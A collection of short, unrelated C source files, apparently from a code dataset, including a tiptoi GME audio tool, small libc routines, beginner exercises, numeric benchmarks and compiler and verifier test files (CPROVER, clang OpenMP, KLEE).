hexDump(out, &gme->data[gjt[elements - 1]], &gme->data[gme->mainTable->codeTable[i - gme->mainTable->firstOIDCode] + 2]);
fprintf(out, "\n");
}
fprintf(out, "%02d: %d\n", i, jumpTableOffset);
elements = *(uint16_t*)&gme->data[gme->mainTable->codeTable[i - gme->mainTable->firstOIDCode]];
gjt = &gme->data[gme->mainTable->codeTable[i - gme->mainTable->firstOIDCode]+2];
for (j = 0; j < elements-1; j++){
fprintf(out,"\t%02d: %d: ", j, gjt[j]);
hexDump(out,&gme->data[gjt[j]], &gme->data[gjt[j + 1]]);
fprintf(out,"\n");
}
}
}
fprintf(out,"\nAudio:\n");
fprintf(out,"\tTable offset: %d (0x%08X)\n", gme->audioFileTableOffset, endianSwap(gme->audioFileTableOffset));
fprintf(out,"\tTable entries: %d\n", gme->audioFileTableEntries);
fprintf(out,"\tFiles offset: %d (0x%08X)\n", gme->audioFileTable[0].offset, endianSwap(gme->audioFileTable[0].offset));
tmp = gme->audioFileTable[gme->audioFileTableEntries - 1].offset + gme->audioFileTable[gme->audioFileTableEntries - 1].lenght;
fprintf(out,"\tFiles endoff: %d (0x%08X)\n", tmp, endianSwap(tmp));
fprintf(out,"\tFiles size: %d\n", tmp - gme->audioFileTable[0].offset);
}
int main(int argc, char **argv){
if (argc > 2){
switch (argv[1][0]){
case 'X':
case 'x':
if (argc == 3){
exportAudioFiles(argv[2], "", 0);
return 1;
}
else if (argc == 4){
exportAudioFiles(argv[3], argv[2], 0);
return 1;
}
break;
case 'I':
case 'i':
if (argc == 3){
printInformation(argv[2], stdout);
return 1;
}
else if (argc == 4){
FILE *fp = fopen(argv[2], "wb");
printInformation(argv[3],fp);
fclose(fp);
return 1;
}
break;
case 'R':
case 'r':
if (argc == 5){
replaceAudio(argv[4], argv[3], argv[2], 0);
return 1;
}
break;
case 'N':
case 'n':
if (argc == 5){
replaceAudio(argv[4], argv[3], argv[2], 1);
return 1;
}
break;
//case 'M':
//case 'm':
// if (argc == 4){
// markKnown(argv[3], argv[2]);
// return 1;
// }
// break;
}
}
printf("GME Library\n");
printf("usage: libtiptoi <mode> [options] <inputfile>\n");
printf("modes:\n");
printf("\tx [path] - Extract audio files to [path]\n");
printf("\tl <filelist> - create audio list\n");
printf("\ti [outputfile] - print information\n");
printf("\tr <filelist> <outputfile> - replace audio\n");
printf("\tn <audiopath> <outputfile> - replace audio with numbers\n");
//printf("\tp <outputfile> - replace known bytes with 0x00 in gme\n");
return 0;
}
//r C:\Projects\tiptoi\ogg\filelist.txt "C:\Projects\tiptoi\Rekorde im Tierreich_mod.gme" "C:\Projects\tiptoi\Rekorde im Tierreich.gme"
//x C:\Projects\tiptoi\ogg\ "C:\Projects\tiptoi\Rekorde im Tierreich.gme"
//n C:\Projects\tiptoi\ogg\filelist.txt "C:\Projects\tiptoi\WWW Bauernhof_mod.gme" "C:\Projects\tiptoi\WWW Bauernhof.gme"
//x C:\Projects\tiptoi\ogg\ "C:\Projects\tiptoi\WWW Bauernhof.gme"
|
the_stack_data/181389203.c | /* This File is Part of LibFalcon.
* Copyright (c) 2018, Syed Nasim
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of LibFalcon nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#if defined(__cplusplus)
extern "C" {
#endif
#include <ctype.h>
#include <stdint.h>
int32_t tolower(const int32_t c) {
return isupper(c) ? 'a' + (c - 'A') : c;
}
#if defined(__cplusplus)
}
#endif
|
the_stack_data/150143025.c | //
// empty.c
// CFFmpeg
//
// Created by sunlubo on 2020/8/6.
// Copyright © 2019-2020 sunlubo. All rights reserved.
//
|
the_stack_data/212643022.c | /* Codigo: 23-cafe.c
Autor: Carlos Adir
Descricao:
*/
#include <stdio.h>
int main()
{
char resposta ;
printf ( " Voce quer cafe ? " ) ;
scanf ( " % c " , & resposta ) ;
getchar () ;
while ( resposta != 's')
{
printf ( " Voce quer cafe ? " ) ;
scanf ( " % c " , & resposta ) ;
getchar () ;
}
printf ( "Que bom ! Seu cafe esta aqui !\n " ) ;
return 0;
}
|
the_stack_data/62637836.c | #include <stdio.h>
#include <stdlib.h>
void printArray(int arr[], int length) {
for (int i = 0; i < length; i++) {
printf("%d ", arr[i]);
}
printf("\n");
fflush(stdout);
}
int *getInput(char *argv[], int argc, int *length) {
if (!length) {
return NULL;
}
*length = argc - 1;
int *numbers = calloc(sizeof(int), *length);
if (!numbers) {
return NULL;
}
for (int i = 1; i < argc; i++) {
numbers[i - 1] = atoi(argv[i]);
}
return numbers;
}
|
the_stack_data/131336.c | /*
* nrand48.c
*/
#include <stdlib.h>
#include <stdint.h>
long nrand48(unsigned short xsubi[3])
{
return (long)((uint32_t) jrand48(xsubi) >> 1);
}
|
the_stack_data/116470.c | //requires additional changes to the code to make it work
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <time.h>
static double gtod_ref_time_sec = 0.0;
/* Adapted from the bl2_clock() routine in the BLIS library */
double dclock()
{
double the_time, norm_sec;
struct timeval tv;
gettimeofday(&tv, NULL);
if (gtod_ref_time_sec == 0.0)
gtod_ref_time_sec = (double)tv.tv_sec;
norm_sec = (double)tv.tv_sec - gtod_ref_time_sec;
the_time = norm_sec + tv.tv_usec * 1.0e-6;
return the_time;
}
int ge(double **A, int SIZE)
{
register unsigned int i, j, k;
register double multiplier;
for (k = 0; k < SIZE; k++)
{
for (i = k + 1; i < SIZE; i++)
{
multiplier = (A[i][k] / A[k][k]);
for (j = k + 1; j < SIZE; j++)
{
A[i][j] = A[i][j] - A[k][j] * multiplier;
}
}
}
return 0;
}
int main(int argc, const char *argv[])
{
int i, j, k, iret;
double dtime;
int SIZE = 1500;
double **matrix = (double **)malloc(SIZE * sizeof(double *));
// TODO - make near optimal dynamic allocation
double *matrix_ = (double *)malloc(SIZE * SIZE * sizeof(double));
//allocate 2D matrices
//set pointers to continous blocks
for (i = 0; i < SIZE; i++)
{
matrix[i] = matrix_ + i * SIZE;
}
srand(1);
for (i = 0; i < SIZE; i++)
{
for (j = 0; j < SIZE; j++)
{
matrix[i][j] = rand();
}
}
printf("call GE");
dtime = dclock();
iret = ge(matrix, SIZE);
dtime = dclock() - dtime;
printf("Time: %le \n", dtime);
double check = 0.0;
for (i = 0; i < SIZE; i++)
{
for (j = 0; j < SIZE; j++)
{
check = check + matrix[i][j];
}
}
printf("Check: %le \n", check);
fflush(stdout);
return iret;
}
|
the_stack_data/39687.c | /**
* Copyright (c) 2018 Zachary Puls <[email protected]>
*/
#include <string.h>
/**
* @brief Copy bytes from {src} to {dest}, stopping after the first occurrence
* of value {val} or after {n} bytes are copied, whichever comes first.
*
* @param dest A pointer to the location of the destination string
* @param src A pointer to the location of the source string
* @param val The value to search for, and copy
* @param n The number of bytes to be copied
* @return void* A pointer to the next byte in dest after val, or NULL
* if val was not found in the first n bytes of src
*/
void *memccpy(void *restrict dest, const void *restrict src, int val, size_t n) {
return NULL;
}
|
the_stack_data/140765493.c | /**
* @license Apache-2.0
*
* Copyright (c) 2018 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Benchmark `coversin`.
*/
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>
#define NAME "coversin"
#define ITERATIONS 1000000
#define REPEATS 3
/**
* Prints the TAP version.
*/
void print_version() {
printf( "TAP version 13\n" );
}
/**
* Prints the TAP summary.
*
* @param total total number of tests
* @param passing total number of passing tests
*/
void print_summary( int total, int passing ) {
printf( "#\n" );
printf( "1..%d\n", total ); // TAP plan
printf( "# total %d\n", total );
printf( "# pass %d\n", passing );
printf( "#\n" );
printf( "# ok\n" );
}
/**
* Prints benchmarks results.
*
* @param elapsed elapsed time in seconds
*/
void print_results( double elapsed ) {
double rate = (double)ITERATIONS / elapsed;
printf( " ---\n" );
printf( " iterations: %d\n", ITERATIONS );
printf( " elapsed: %0.9f\n", elapsed );
printf( " rate: %0.9f\n", rate );
printf( " ...\n" );
}
/**
* Returns a clock time.
*
* @return clock time
*/
double tic() {
struct timeval now;
gettimeofday( &now, NULL );
return (double)now.tv_sec + (double)now.tv_usec/1.0e6;
}
/**
* Generates a random double on the interval [0,1].
*
* @return random double
*/
double rand_double() {
int r = rand();
return (double)r / ( (double)RAND_MAX + 1.0 );
}
/**
* Runs a benchmark.
*
* @return elapsed time in seconds
*/
double benchmark() {
double elapsed;
double x;
double y;
double t;
int i;
t = tic();
for ( i = 0; i < ITERATIONS; i++ ) {
x = ( 20.0*rand_double() ) - 10.0;
y = 1.0 - sin( x );
if ( y != y ) {
printf( "should not return NaN\n" );
break;
}
}
elapsed = tic() - t;
if ( y != y ) {
printf( "should not return NaN\n" );
}
return elapsed;
}
/**
* Main execution sequence.
*/
int main( void ) {
double elapsed;
int i;
// Use the current time to seed the random number generator:
srand( time( NULL ) );
print_version();
for ( i = 0; i < REPEATS; i++ ) {
printf( "# c::%s\n", NAME );
elapsed = benchmark();
print_results( elapsed );
printf( "ok %d benchmark finished\n", i+1 );
}
print_summary( REPEATS, REPEATS );
}
|
the_stack_data/36691.c |
// Definition for a binary tree node.
struct TreeNode
{
int val;
struct TreeNode *left;
struct TreeNode *right;
};
typedef struct pair
{
int height;
int value;
} pair;
pair postorder(struct TreeNode *root)
{
pair res = {0, 0};
if (!root)
return res;
if (!root->left && !root->right)
{
res.value = root->val;
return res;
}
pair l = postorder(root->left);
pair r = postorder(root->right);
res.height = 1 + (l.height < r.height ? r.height : l.height);
if (l.height == r.height)
res.value = l.value + r.value;
else
res.value = l.height < r.height ? r.value : l.value;
return res;
}
int deepestLeavesSum(struct TreeNode *root)
{
return postorder(root).value;
}
|
the_stack_data/119466.c | struct test {
int a : 5;
unsigned int b : 17;
int c : 10;
int d : 22;
int e : 12;
int f : 13;
int g;
int i : 22;
int j : 10;
};
int main() {
struct test t = { 0, 0, 0, 0, 0, 0, 0, 0, 0 };
t.a = 16;
t.d = 0;
t.g = 13;
t.j = 12;
return t.a + t.b + t.c + t.d + t.e + t.f + t.g + t.i + t.j;
}
|
the_stack_data/62638820.c | /**
* Write a program to convert a lowercase character string into uppercase.
*/
#include <stdio.h>
int main()
{
char ch[100];
int i;
printf("Enter your text : ");
fgets(ch, sizeof(ch), stdin);
for (i = 0; ch[i] != '\0'; i++)
{
if (ch[i] >= 'a' && ch[i] <= 'z')
{
ch[i] = ch[i] - 32;
}
}
printf("Uppercase string : %s", ch);
return 0;
}
|
the_stack_data/242330138.c | void fence()
{
asm("sync");
}
void lwfence()
{
asm("lwsync");
}
void isync()
{
asm("isync");
}
int __unbuffered_cnt = 0;
int __unbuffered_p0_r1 = 0;
int __unbuffered_p0_r3 = 0;
int __unbuffered_p1_r1 = 0;
int __unbuffered_p1_r3 = 0;
int __unbuffered_p2_r1 = 0;
int __unbuffered_p2_r3 = 0;
int x = 0;
int y = 0;
int z = 0;
void *P0(void *arg)
{
__unbuffered_p0_r1 = 1;
z = __unbuffered_p0_r1;
fence();
__unbuffered_p0_r3 = x;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void *P1(void *arg)
{
__unbuffered_p1_r1 = 1;
x = __unbuffered_p1_r1;
lwfence();
__unbuffered_p1_r3 = y;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void *P2(void *arg)
{
__unbuffered_p2_r1 = 1;
y = __unbuffered_p2_r1;
lwfence();
__unbuffered_p2_r3 = z;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
int main()
{
__CPROVER_ASYNC_0:
P0(0);
__CPROVER_ASYNC_1:
P1(0);
__CPROVER_ASYNC_2:
P2(0);
__CPROVER_assume(__unbuffered_cnt == 3);
fence();
// EXPECT:exists
__CPROVER_assert(
!(__unbuffered_p0_r3 == 0 && __unbuffered_p1_r3 == 0 &&
__unbuffered_p2_r3 == 0),
"Program proven to be relaxed for PPC, model checker says YES.");
return 0;
}
|
the_stack_data/97012654.c | // NOTE: Assertions have been autogenerated by utils/update_cc_test_checks.py UTC_ARGS: --function-signature --include-generated-funcs
// RUN: %clang_cc1 -fopenmp-enable-irbuilder -verify -fopenmp -fopenmp-version=51 -x c -triple x86_64-unknown-unknown -emit-llvm %s -o - | FileCheck %s
// expected-no-diagnostics
// REQUIRES: x86-registered-target
#ifndef HEADER
#define HEADER
double sind(double);
void unroll_partial_heuristic_for(int m, float *a, float *b, float *c, float *d, float *e, float offset) {
#pragma omp for collapse(2)
for (int i = 0; i < m; i++) {
#pragma omp unroll partial
for (int j = 0; j < 8; j++) {
a[i] += sind(b[i]) * c[i] * d[i] * e[i] + offset;
}
}
}
#endif // HEADER
// CHECK-LABEL: define {{[^@]+}}@unroll_partial_heuristic_for
// CHECK-SAME: (i32 noundef [[M:%.*]], float* noundef [[A:%.*]], float* noundef [[B:%.*]], float* noundef [[C:%.*]], float* noundef [[D:%.*]], float* noundef [[E:%.*]], float noundef [[OFFSET:%.*]]) #[[ATTR0:[0-9]+]] {
// CHECK-NEXT: entry:
// CHECK-NEXT: [[M_ADDR:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[A_ADDR:%.*]] = alloca float*, align 8
// CHECK-NEXT: [[B_ADDR:%.*]] = alloca float*, align 8
// CHECK-NEXT: [[C_ADDR:%.*]] = alloca float*, align 8
// CHECK-NEXT: [[D_ADDR:%.*]] = alloca float*, align 8
// CHECK-NEXT: [[E_ADDR:%.*]] = alloca float*, align 8
// CHECK-NEXT: [[OFFSET_ADDR:%.*]] = alloca float, align 4
// CHECK-NEXT: [[DOTOMP_IV:%.*]] = alloca i64, align 8
// CHECK-NEXT: [[TMP:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[TMP1:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[DOTCAPTURE_EXPR_:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[J:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[DOTCAPTURE_EXPR_2:%.*]] = alloca i64, align 8
// CHECK-NEXT: [[I:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[DOTUNROLLED_IV_J:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[DOTOMP_LB:%.*]] = alloca i64, align 8
// CHECK-NEXT: [[DOTOMP_UB:%.*]] = alloca i64, align 8
// CHECK-NEXT: [[DOTOMP_STRIDE:%.*]] = alloca i64, align 8
// CHECK-NEXT: [[DOTOMP_IS_LAST:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[I6:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[DOTUNROLLED_IV_J7:%.*]] = alloca i32, align 4
// CHECK-NEXT: [[DOTUNROLL_INNER_IV_J:%.*]] = alloca i32, align 4
// CHECK-NEXT: store i32 [[M]], i32* [[M_ADDR]], align 4
// CHECK-NEXT: store float* [[A]], float** [[A_ADDR]], align 8
// CHECK-NEXT: store float* [[B]], float** [[B_ADDR]], align 8
// CHECK-NEXT: store float* [[C]], float** [[C_ADDR]], align 8
// CHECK-NEXT: store float* [[D]], float** [[D_ADDR]], align 8
// CHECK-NEXT: store float* [[E]], float** [[E_ADDR]], align 8
// CHECK-NEXT: store float [[OFFSET]], float* [[OFFSET_ADDR]], align 4
// CHECK-NEXT: [[TMP0:%.*]] = load i32, i32* [[M_ADDR]], align 4
// CHECK-NEXT: store i32 [[TMP0]], i32* [[DOTCAPTURE_EXPR_]], align 4
// CHECK-NEXT: store i32 0, i32* [[J]], align 4
// CHECK-NEXT: [[TMP1:%.*]] = load i32, i32* [[DOTCAPTURE_EXPR_]], align 4
// CHECK-NEXT: [[SUB:%.*]] = sub nsw i32 [[TMP1]], 0
// CHECK-NEXT: [[DIV:%.*]] = sdiv i32 [[SUB]], 1
// CHECK-NEXT: [[CONV:%.*]] = sext i32 [[DIV]] to i64
// CHECK-NEXT: [[MUL:%.*]] = mul nsw i64 [[CONV]], 4
// CHECK-NEXT: [[SUB3:%.*]] = sub nsw i64 [[MUL]], 1
// CHECK-NEXT: store i64 [[SUB3]], i64* [[DOTCAPTURE_EXPR_2]], align 8
// CHECK-NEXT: store i32 0, i32* [[I]], align 4
// CHECK-NEXT: store i32 0, i32* [[DOTUNROLLED_IV_J]], align 4
// CHECK-NEXT: [[TMP2:%.*]] = load i32, i32* [[DOTCAPTURE_EXPR_]], align 4
// CHECK-NEXT: [[CMP:%.*]] = icmp slt i32 0, [[TMP2]]
// CHECK-NEXT: br i1 [[CMP]], label [[OMP_PRECOND_THEN:%.*]], label [[OMP_PRECOND_END:%.*]]
// CHECK: omp.precond.then:
// CHECK-NEXT: store i64 0, i64* [[DOTOMP_LB]], align 8
// CHECK-NEXT: [[TMP3:%.*]] = load i64, i64* [[DOTCAPTURE_EXPR_2]], align 8
// CHECK-NEXT: store i64 [[TMP3]], i64* [[DOTOMP_UB]], align 8
// CHECK-NEXT: store i64 1, i64* [[DOTOMP_STRIDE]], align 8
// CHECK-NEXT: store i32 0, i32* [[DOTOMP_IS_LAST]], align 4
// CHECK-NEXT: [[OMP_GLOBAL_THREAD_NUM:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3:[0-9]+]])
// CHECK-NEXT: call void @__kmpc_for_static_init_8(%struct.ident_t* @[[GLOB1:[0-9]+]], i32 [[OMP_GLOBAL_THREAD_NUM]], i32 34, i32* [[DOTOMP_IS_LAST]], i64* [[DOTOMP_LB]], i64* [[DOTOMP_UB]], i64* [[DOTOMP_STRIDE]], i64 1, i64 1)
// CHECK-NEXT: [[TMP4:%.*]] = load i64, i64* [[DOTOMP_UB]], align 8
// CHECK-NEXT: [[TMP5:%.*]] = load i64, i64* [[DOTCAPTURE_EXPR_2]], align 8
// CHECK-NEXT: [[CMP8:%.*]] = icmp sgt i64 [[TMP4]], [[TMP5]]
// CHECK-NEXT: br i1 [[CMP8]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]]
// CHECK: cond.true:
// CHECK-NEXT: [[TMP6:%.*]] = load i64, i64* [[DOTCAPTURE_EXPR_2]], align 8
// CHECK-NEXT: br label [[COND_END:%.*]]
// CHECK: cond.false:
// CHECK-NEXT: [[TMP7:%.*]] = load i64, i64* [[DOTOMP_UB]], align 8
// CHECK-NEXT: br label [[COND_END]]
// CHECK: cond.end:
// CHECK-NEXT: [[COND:%.*]] = phi i64 [ [[TMP6]], [[COND_TRUE]] ], [ [[TMP7]], [[COND_FALSE]] ]
// CHECK-NEXT: store i64 [[COND]], i64* [[DOTOMP_UB]], align 8
// CHECK-NEXT: [[TMP8:%.*]] = load i64, i64* [[DOTOMP_LB]], align 8
// CHECK-NEXT: store i64 [[TMP8]], i64* [[DOTOMP_IV]], align 8
// CHECK-NEXT: br label [[OMP_INNER_FOR_COND:%.*]]
// CHECK: omp.inner.for.cond:
// CHECK-NEXT: [[TMP9:%.*]] = load i64, i64* [[DOTOMP_IV]], align 8
// CHECK-NEXT: [[TMP10:%.*]] = load i64, i64* [[DOTOMP_UB]], align 8
// CHECK-NEXT: [[CMP10:%.*]] = icmp sle i64 [[TMP9]], [[TMP10]]
// CHECK-NEXT: br i1 [[CMP10]], label [[OMP_INNER_FOR_BODY:%.*]], label [[OMP_INNER_FOR_END:%.*]]
// CHECK: omp.inner.for.body:
// CHECK-NEXT: [[TMP11:%.*]] = load i64, i64* [[DOTOMP_IV]], align 8
// CHECK-NEXT: [[DIV12:%.*]] = sdiv i64 [[TMP11]], 4
// CHECK-NEXT: [[MUL13:%.*]] = mul nsw i64 [[DIV12]], 1
// CHECK-NEXT: [[ADD:%.*]] = add nsw i64 0, [[MUL13]]
// CHECK-NEXT: [[CONV14:%.*]] = trunc i64 [[ADD]] to i32
// CHECK-NEXT: store i32 [[CONV14]], i32* [[I6]], align 4
// CHECK-NEXT: [[TMP12:%.*]] = load i64, i64* [[DOTOMP_IV]], align 8
// CHECK-NEXT: [[TMP13:%.*]] = load i64, i64* [[DOTOMP_IV]], align 8
// CHECK-NEXT: [[DIV15:%.*]] = sdiv i64 [[TMP13]], 4
// CHECK-NEXT: [[MUL16:%.*]] = mul nsw i64 [[DIV15]], 4
// CHECK-NEXT: [[SUB17:%.*]] = sub nsw i64 [[TMP12]], [[MUL16]]
// CHECK-NEXT: [[MUL18:%.*]] = mul nsw i64 [[SUB17]], 2
// CHECK-NEXT: [[ADD19:%.*]] = add nsw i64 0, [[MUL18]]
// CHECK-NEXT: [[CONV20:%.*]] = trunc i64 [[ADD19]] to i32
// CHECK-NEXT: store i32 [[CONV20]], i32* [[DOTUNROLLED_IV_J7]], align 4
// CHECK-NEXT: [[TMP14:%.*]] = load i32, i32* [[DOTUNROLLED_IV_J7]], align 4
// CHECK-NEXT: store i32 [[TMP14]], i32* [[DOTUNROLL_INNER_IV_J]], align 4
// CHECK-NEXT: br label [[FOR_COND:%.*]]
// CHECK: for.cond:
// CHECK-NEXT: [[TMP15:%.*]] = load i32, i32* [[DOTUNROLL_INNER_IV_J]], align 4
// CHECK-NEXT: [[TMP16:%.*]] = load i32, i32* [[DOTUNROLLED_IV_J7]], align 4
// CHECK-NEXT: [[ADD21:%.*]] = add nsw i32 [[TMP16]], 2
// CHECK-NEXT: [[CMP22:%.*]] = icmp sle i32 [[TMP15]], [[ADD21]]
// CHECK-NEXT: br i1 [[CMP22]], label [[LAND_RHS:%.*]], label [[LAND_END:%.*]]
// CHECK: land.rhs:
// CHECK-NEXT: [[TMP17:%.*]] = load i32, i32* [[DOTUNROLL_INNER_IV_J]], align 4
// CHECK-NEXT: [[CMP24:%.*]] = icmp sle i32 [[TMP17]], 8
// CHECK-NEXT: br label [[LAND_END]]
// CHECK: land.end:
// CHECK-NEXT: [[TMP18:%.*]] = phi i1 [ false, [[FOR_COND]] ], [ [[CMP24]], [[LAND_RHS]] ]
// CHECK-NEXT: br i1 [[TMP18]], label [[FOR_BODY:%.*]], label [[FOR_END:%.*]]
// CHECK: for.body:
// CHECK-NEXT: [[TMP19:%.*]] = load i32, i32* [[DOTUNROLL_INNER_IV_J]], align 4
// CHECK-NEXT: [[MUL26:%.*]] = mul nsw i32 [[TMP19]], 1
// CHECK-NEXT: [[ADD27:%.*]] = add nsw i32 0, [[MUL26]]
// CHECK-NEXT: store i32 [[ADD27]], i32* [[J]], align 4
// CHECK-NEXT: [[TMP20:%.*]] = load float*, float** [[B_ADDR]], align 8
// CHECK-NEXT: [[TMP21:%.*]] = load i32, i32* [[I6]], align 4
// CHECK-NEXT: [[IDXPROM:%.*]] = sext i32 [[TMP21]] to i64
// CHECK-NEXT: [[ARRAYIDX:%.*]] = getelementptr inbounds float, float* [[TMP20]], i64 [[IDXPROM]]
// CHECK-NEXT: [[TMP22:%.*]] = load float, float* [[ARRAYIDX]], align 4
// CHECK-NEXT: [[CONV28:%.*]] = fpext float [[TMP22]] to double
// CHECK-NEXT: [[CALL:%.*]] = call double @sind(double noundef [[CONV28]])
// CHECK-NEXT: [[TMP23:%.*]] = load float*, float** [[C_ADDR]], align 8
// CHECK-NEXT: [[TMP24:%.*]] = load i32, i32* [[I6]], align 4
// CHECK-NEXT: [[IDXPROM29:%.*]] = sext i32 [[TMP24]] to i64
// CHECK-NEXT: [[ARRAYIDX30:%.*]] = getelementptr inbounds float, float* [[TMP23]], i64 [[IDXPROM29]]
// CHECK-NEXT: [[TMP25:%.*]] = load float, float* [[ARRAYIDX30]], align 4
// CHECK-NEXT: [[CONV31:%.*]] = fpext float [[TMP25]] to double
// CHECK-NEXT: [[MUL32:%.*]] = fmul double [[CALL]], [[CONV31]]
// CHECK-NEXT: [[TMP26:%.*]] = load float*, float** [[D_ADDR]], align 8
// CHECK-NEXT: [[TMP27:%.*]] = load i32, i32* [[I6]], align 4
// CHECK-NEXT: [[IDXPROM33:%.*]] = sext i32 [[TMP27]] to i64
// CHECK-NEXT: [[ARRAYIDX34:%.*]] = getelementptr inbounds float, float* [[TMP26]], i64 [[IDXPROM33]]
// CHECK-NEXT: [[TMP28:%.*]] = load float, float* [[ARRAYIDX34]], align 4
// CHECK-NEXT: [[CONV35:%.*]] = fpext float [[TMP28]] to double
// CHECK-NEXT: [[MUL36:%.*]] = fmul double [[MUL32]], [[CONV35]]
// CHECK-NEXT: [[TMP29:%.*]] = load float*, float** [[E_ADDR]], align 8
// CHECK-NEXT: [[TMP30:%.*]] = load i32, i32* [[I6]], align 4
// CHECK-NEXT: [[IDXPROM37:%.*]] = sext i32 [[TMP30]] to i64
// CHECK-NEXT: [[ARRAYIDX38:%.*]] = getelementptr inbounds float, float* [[TMP29]], i64 [[IDXPROM37]]
// CHECK-NEXT: [[TMP31:%.*]] = load float, float* [[ARRAYIDX38]], align 4
// CHECK-NEXT: [[CONV39:%.*]] = fpext float [[TMP31]] to double
// CHECK-NEXT: [[MUL40:%.*]] = fmul double [[MUL36]], [[CONV39]]
// CHECK-NEXT: [[TMP32:%.*]] = load float, float* [[OFFSET_ADDR]], align 4
// CHECK-NEXT: [[CONV41:%.*]] = fpext float [[TMP32]] to double
// CHECK-NEXT: [[ADD42:%.*]] = fadd double [[MUL40]], [[CONV41]]
// CHECK-NEXT: [[TMP33:%.*]] = load float*, float** [[A_ADDR]], align 8
// CHECK-NEXT: [[TMP34:%.*]] = load i32, i32* [[I6]], align 4
// CHECK-NEXT: [[IDXPROM43:%.*]] = sext i32 [[TMP34]] to i64
// CHECK-NEXT: [[ARRAYIDX44:%.*]] = getelementptr inbounds float, float* [[TMP33]], i64 [[IDXPROM43]]
// CHECK-NEXT: [[TMP35:%.*]] = load float, float* [[ARRAYIDX44]], align 4
// CHECK-NEXT: [[CONV45:%.*]] = fpext float [[TMP35]] to double
// CHECK-NEXT: [[ADD46:%.*]] = fadd double [[CONV45]], [[ADD42]]
// CHECK-NEXT: [[CONV47:%.*]] = fptrunc double [[ADD46]] to float
// CHECK-NEXT: store float [[CONV47]], float* [[ARRAYIDX44]], align 4
// CHECK-NEXT: br label [[FOR_INC:%.*]]
// CHECK: for.inc:
// CHECK-NEXT: [[TMP36:%.*]] = load i32, i32* [[DOTUNROLL_INNER_IV_J]], align 4
// CHECK-NEXT: [[INC:%.*]] = add nsw i32 [[TMP36]], 1
// CHECK-NEXT: store i32 [[INC]], i32* [[DOTUNROLL_INNER_IV_J]], align 4
// CHECK-NEXT: br label [[FOR_COND]], !llvm.loop [[LOOP3:![0-9]+]]
// CHECK: for.end:
// CHECK-NEXT: br label [[OMP_BODY_CONTINUE:%.*]]
// CHECK: omp.body.continue:
// CHECK-NEXT: br label [[OMP_INNER_FOR_INC:%.*]]
// CHECK: omp.inner.for.inc:
// CHECK-NEXT: [[TMP37:%.*]] = load i64, i64* [[DOTOMP_IV]], align 8
// CHECK-NEXT: [[ADD48:%.*]] = add nsw i64 [[TMP37]], 1
// CHECK-NEXT: store i64 [[ADD48]], i64* [[DOTOMP_IV]], align 8
// CHECK-NEXT: br label [[OMP_INNER_FOR_COND]]
// CHECK: omp.inner.for.end:
// CHECK-NEXT: br label [[OMP_LOOP_EXIT:%.*]]
// CHECK: omp.loop.exit:
// CHECK-NEXT: [[OMP_GLOBAL_THREAD_NUM49:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB5:[0-9]+]])
// CHECK-NEXT: call void @__kmpc_for_static_fini(%struct.ident_t* @[[GLOB1]], i32 [[OMP_GLOBAL_THREAD_NUM49]])
// CHECK-NEXT: br label [[OMP_PRECOND_END]]
// CHECK: omp.precond.end:
// CHECK-NEXT: [[OMP_GLOBAL_THREAD_NUM50:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB7:[0-9]+]])
// CHECK-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB6:[0-9]+]], i32 [[OMP_GLOBAL_THREAD_NUM50]])
// CHECK-NEXT: ret void
//
|
the_stack_data/37519.c | // RUN: %llvmgcc -DKLEE_EXECUTION %s -emit-llvm -O0 -c -o %t.bc
// RUN: rm -rf %t.klee-out
// RUN: %klee --output-dir=%t.klee-out --posix-runtime %t.bc --sym-files 1 3
// RUN: %klee-replay --create-files-only %t.klee-out/test000001.ktest
